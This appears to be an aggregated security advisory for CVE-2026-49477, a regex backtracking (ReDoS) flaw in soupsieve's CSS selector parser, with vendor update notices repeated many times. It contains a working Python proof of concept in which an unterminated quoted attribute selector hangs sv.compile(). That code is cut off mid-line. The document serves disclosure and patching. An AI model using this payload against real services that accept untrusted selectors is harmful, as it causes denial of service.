CVE-2026-49477

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

1. Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
2. Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
3. Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics:

• Input size: Only 300 bytes are needed to trigger a >3 second hang
• Amplification: Each additional character approximately doubles the backtracking time
• No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE:…

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).

Security Fix(es):

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).

Security Fix(es):

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).

Security Fix(es):

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).

Security Fix(es):

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

1. Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
2. Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
3. Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics:

• Input size: Only 300 bytes are needed to trigger a >3 second hang
• Amplification: Each additional character approximately doubles the backtracking time
• No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE:…

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.

This update for python-soupsieve fixes the following issues

• CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
• CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).

Root has patched CVE-2026-49477 in the rootio-soupsieve package for Root:PyPI. Multiple fixed versions available.

This update for python-soupsieve fixes the following issues

• CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
• CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).

This update for python-soupsieve fixes the following issues

• CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
• CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).

This update for python-soupsieve fixes the following issues

• CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).
• CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).